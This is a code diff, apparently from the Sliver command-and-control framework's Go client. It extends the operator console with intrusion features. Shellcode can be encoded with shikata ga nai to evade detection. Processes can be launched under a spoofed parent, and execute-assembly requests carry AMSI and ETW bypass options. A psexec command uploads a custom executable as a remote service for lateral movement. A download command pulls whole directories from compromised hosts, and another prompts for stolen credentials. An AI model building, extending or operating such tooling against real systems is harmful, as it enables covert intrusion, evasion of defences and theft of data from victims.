Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: strings.Join(assemblyArgs, " "),
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Int("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
shellcodeBin = resp.GetData()
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
@@ -47,6 +47,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
ppid := ctx.Flags.Uint("ppid")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
@@ -61,14 +62,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
if token || ppid != 0 {
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
PPid: uint32(ppid),
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
|
||||
@@ -21,6 +21,7 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
var serviceBinary []byte
|
||||
profile := ctx.Flags.String("profile")
|
||||
serviceName := ctx.Flags.String("service-name")
|
||||
serviceDesc := ctx.Flags.String("service-description")
|
||||
binPath := ctx.Flags.String("binpath")
|
||||
customExe := ctx.Flags.String("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
@@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
if customExe == "" {
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := ioutil.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
}
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
uploadCtrl := make(chan bool)
|
||||
con.SpinUntil("Uploading service binary ...", uploadCtrl)
|
||||
|
||||
@@ -61,6 +61,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
if ext.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -24,7 +24,10 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -43,12 +46,14 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
recurse := ctx.Flags.Bool("recurse")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -72,6 +77,34 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
|
||||
func prettifyDownloadName(path string) string {
|
||||
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
|
||||
if err != nil {
|
||||
// Well, we tried.
|
||||
return path
|
||||
}
|
||||
|
||||
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
|
||||
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
|
||||
|
||||
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
|
||||
|
||||
// Collapse multiple underscores into one
|
||||
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
|
||||
if err != nil {
|
||||
return filteredString
|
||||
}
|
||||
|
||||
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
|
||||
|
||||
// If there is an underscore at the front of the filename, strip that off
|
||||
if strings.HasPrefix(filteredString, "_") {
|
||||
filteredString = filteredString[1:]
|
||||
}
|
||||
|
||||
return filteredString
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
@@ -90,6 +123,12 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
// No files downloaded successfully.
|
||||
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
|
||||
return
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
@@ -114,11 +153,31 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
if download.IsDir {
|
||||
// Come up with a good file name - filters might make the filename ugly
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
implantName := ""
|
||||
if session != nil {
|
||||
implantName = session.Name
|
||||
} else if beacon != nil {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
// Windows has a file path length of 260 characters
|
||||
// +1 for the path separator before the file name
|
||||
if len(dst)+len(fileName)+1 > 260 {
|
||||
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
|
||||
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
|
||||
}
|
||||
}
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
@@ -141,7 +200,28 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
var readFilesText string
|
||||
var unreadFilesText string
|
||||
|
||||
if download.ReadFiles == 1 {
|
||||
readFilesText = "file"
|
||||
} else {
|
||||
readFilesText = "files"
|
||||
}
|
||||
|
||||
if download.UnreadableFiles == 1 {
|
||||
unreadFilesText = "file"
|
||||
} else {
|
||||
unreadFilesText = "files"
|
||||
}
|
||||
|
||||
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
|
||||
n,
|
||||
download.ReadFiles,
|
||||
readFilesText,
|
||||
download.UnreadableFiles,
|
||||
unreadFilesText,
|
||||
dstFile.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence+1]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
// Generate metadata to print with the path
|
||||
numberOfFiles := len(ls.Files)
|
||||
var totalSize int64 = 0
|
||||
var pathInfo string
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
totalSize += fileInfo.Size
|
||||
}
|
||||
|
||||
if numberOfFiles == 1 {
|
||||
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
} else {
|
||||
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
}
|
||||
|
||||
con.Printf("%s\n", pathInfo)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
@@ -29,7 +29,6 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
@@ -39,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
if ctx.Flags["name"] != nil {
|
||||
if ctx.Flags.String("name") != "" {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
|
||||
return nil
|
||||
}
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -639,12 +636,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, errors.New("no file data")
|
||||
}
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
confirm := false
|
||||
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
|
||||
if confirm {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
|
||||
@@ -279,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
|
||||
|
||||
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
|
||||
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
|
||||
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
|
||||
|
||||
Downloads can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
|
||||
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
|
||||
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
|
||||
@@ -346,8 +365,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
|
||||
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
|
||||
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
|
||||
sideload -p /bin/bash /tmp/mylib.so
|
||||
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
|
||||
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
|
||||
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
|
||||
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
|
||||
|
||||
[[.Bold]]Remarks:[[.Normal]]
|
||||
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
|
||||
|
||||
@@ -19,9 +19,12 @@ package jobs
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"context"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -36,6 +39,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
compress := strings.ToLower(ctx.Flags.String("compress"))
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
|
||||
@@ -75,7 +79,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// check if aes iv is correct length
|
||||
if len(aesEncryptIv)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES IV\n")
|
||||
con.PrintErrorf("Incorrect length of AES IV\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -88,7 +92,26 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
switch compress {
|
||||
case "zlib":
|
||||
// use zlib to compress the stage2
|
||||
var compBuff bytes.Buffer
|
||||
zlibWriter := zlib.NewWriter(&compBuff)
|
||||
zlibWriter.Write(stage2)
|
||||
zlibWriter.Close()
|
||||
stage2 = compBuff.Bytes()
|
||||
case "gzip":
|
||||
stage2 = util.GzipBuf(stage2)
|
||||
case "deflate9":
|
||||
fallthrough
|
||||
case "deflate":
|
||||
stage2 = util.DeflateBuf(stage2)
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
|
||||
// but it's also useful here as more advanced cipher modes are often difficult to implement in
|
||||
// a stager.
|
||||
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
|
||||
@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
switch credType {
|
||||
case clientpb.CredentialType_USER_PASSWORD.String():
|
||||
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
|
||||
usernamePrompt := &survey.Input{Message: "Username: "}
|
||||
survey.AskOne(usernamePrompt, &loot.Credential.User)
|
||||
passwordPrompt := &survey.Input{Message: "Password: "}
|
||||
survey.AskOne(passwordPrompt, &loot.Credential.Password)
|
||||
for loot.Credential.User == "" {
|
||||
usernamePrompt := &survey.Input{Message: "Username: "}
|
||||
survey.AskOne(usernamePrompt, &loot.Credential.User)
|
||||
if loot.Credential.User == "" {
|
||||
con.Println("Username is required")
|
||||
}
|
||||
}
|
||||
for loot.Credential.Password == "" {
|
||||
passwordPrompt := &survey.Input{Message: "Password: "}
|
||||
survey.AskOne(passwordPrompt, &loot.Credential.Password)
|
||||
if loot.Credential.Password == "" {
|
||||
con.Println("Password is required")
|
||||
}
|
||||
}
|
||||
case clientpb.CredentialType_API_KEY.String():
|
||||
loot.CredentialType = clientpb.CredentialType_API_KEY
|
||||
usernamePrompt := &survey.Input{Message: "API Key: "}
|
||||
|
||||
@@ -176,10 +176,14 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, loot := range allLoot.Loot {
|
||||
if loot.Name == loot.File.Name {
|
||||
filename := ""
|
||||
if loot.File != nil {
|
||||
filename = loot.File.Name
|
||||
}
|
||||
if loot.Name == filename {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
@@ -166,8 +166,13 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
|
||||
strings.Repeat("=", len("File Name")),
|
||||
